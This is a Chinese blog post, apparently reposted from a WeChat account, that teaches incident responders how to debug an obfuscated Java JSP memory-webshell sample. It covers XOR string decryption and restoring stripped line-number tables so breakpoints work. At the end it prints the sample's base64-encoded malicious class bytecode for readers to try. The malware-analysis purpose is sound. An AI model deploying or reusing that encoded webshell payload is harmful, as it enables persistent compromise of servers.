java恶意样本调试指南

  • A+
所属分类:代码审计

hw结束前最后一天,某老哥在某设备上抓到一个内存马jsp样本,苦于样本被混淆且无法调试而作罢,于是求助我帮忙分析样本。恰好昨天看到deadeye团队发布的weblogic恶意攻击样本中出现无法使用idea调试,只能使用繁琐的jdb调试的问题。看样子大家对于该类样本都很迷,所以在这里分享一下对于混淆后的java样本如何更快速的调试的方法。

首先说一下样本,样本是一个jsp文件,加载class的bytes字节码并执行。字节码是base64编码后的文件,我们直接解码就可以。解码后的文件,照例拖到idea中进行反编译并分析逻辑。样本反编译如图

java恶意样本调试指南
java恶意样本调试指南

可以看到,该样本中大部分操作都已经被混淆,各种函数调用通过java的反射来完成。对于这种简单的混淆,我们可以将其被加密的字符串还原就可以知道该样本都大致做什么操作。于是牵扯出两种操作:

  1. 硬杠样本,手写解密
  2. 调试

人工分析样本

先说一下硬刚样本这个操作。

这个操作只能是将反编译后的代码拖到idea中,分析每一条语句都在做什么,并尝试手工还原变量名称。但是这种方法适用于比较简单的样本且对于应急响应人员的代码能力比较高。在这里我直接贴一下该样本的字符串解密代码java恶意样本调试指南java恶意样本调试指南

看到这里,大家也就知道这段样本都做什么操作了,字符串加密为xor,长度为7,加密后的字符串第一位为本次待解密字符串的长度。

调试样本

今天重点是调试样本这个操作。正好也解答一下deadeye团队的RealWorld|针对某特殊群体的供应链打击 中,java恶意样本调试指南

这位老哥无法调试的原因在于

idea 等IDE对于java class的调试,主要是通过行号作为下断点的条件。如果去掉class文件行号这一属性,则无法使用ide调试。只能通过jdb并通过方法断点来调试。

java恶意样本调试指南

java class文件中的debug symbol主要就是变量名称和行号与指令对应的表。使用javap看一下

java恶意样本调试指南

局部变量表java恶意样本调试指南

我们在编译java代码的时候,也可以指定编译器参数-g  以去掉class的debug symbol。java恶意样本调试指南

问题解决了,看来如果想使用IDE调试这种样本,变量名称无所谓,最重要的是如何恢复行号表这一重要属性。

1. 扣代码

新建一个java文件,将代码抠出来,粘贴到新建的java文件中。当然,根据反编译引擎的不同,代码可能也无法使用,需要做修改。成功后如图

java恶意样本调试指南
2. 恢复行号表

经过不停的搜索,发现如下一款工具可以实现恢复行号表的功能。官方介绍如下 http://dirty-joe.com/java恶意样本调试指南

虽然工具比较老,但是只要能达到功能就好。直接下载并恢复行号表。

首先打开class文件,然后点击tools的restore debug info菜单,如图java恶意样本调试指南

java恶意样本调试指南

根据你的需要,选择就相应的选项,然后保存。再调试一下可以正常命中方法中的断点,所有解密后的内容一览无余,如图java恶意样本调试指南

如果是jar中的class,可以先解压jar,再调用上述工具从命令行批量转换。转换后的class文件再通过7zip工具打包成zip,并改后缀为jar即可。

jsp样本如下,你要不要也来试试。

String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTE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DeBwDXBwDXBwACAAAAAAAAAAcA1wAHAAYAAQcAphL/AEYAIAcA0wAAAAAAAAAHAC4AAAAAAAcA1wcA1wcAAgAAAAAAAAAHANcABwAGBwDXBwAGBwBPBwBPAQAA/wAcAAAAAQcAiv8AAAAgBwDTAAAAAAAAAAcALgAAAAAABwDXBwDXBwACAAAAAAAAAAcA1wAHAAYHANcHAAYABwBPAQAA/wAkACAHANMAAAAAAAAABwAuAAAAAAAHANcHANcHAAIAAAAAAAAABwDXAAAABwAGAAAHAAYAAQcAphL/ADUAJAcA0wAAAAAAAAAHAC4AAAAAAAcA1wcA1wcAAgAAAAAAAAAAAAAABwAGAAAHAAYHANcHAE8HAE8BAAD/ABwAAAABBwCK/wAAACQHANMAAAAAAAAABwAuAAAAAAAHANcHANcHAAIAAAAAAAAAAAAAAAcABgAABwAGBwDXAAcATwEAAP8AfgAPBwDTAAAAAAAAAAAAAAAAAAcA1wABBwCK/wAAACQHANMAAAAAAAAABwAuAAAAAAAHANcAAAAAAAAAAAAAAAAAAAAAAAAAAAcAJQAA/wA7ACkHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAAAHANcHAC4AABH9AAkHAAYHAN5RBwCm+gAL/wA2AC8HANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAAAHANcAAAAABwDXBwAGBwDeAABSBwCm+gAL/wAeACQHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAP8AAgAPBwDTAAAAAAAAAAAAAAAAAAcA1wABBwCa/wABACQHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHALIAAP8AcwAAAAEHAJoBAAEAzgAAAAIAMw==";



java恶意样本调试指南


本文始发于微信公众号(宽字节安全):java恶意样本调试指南

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: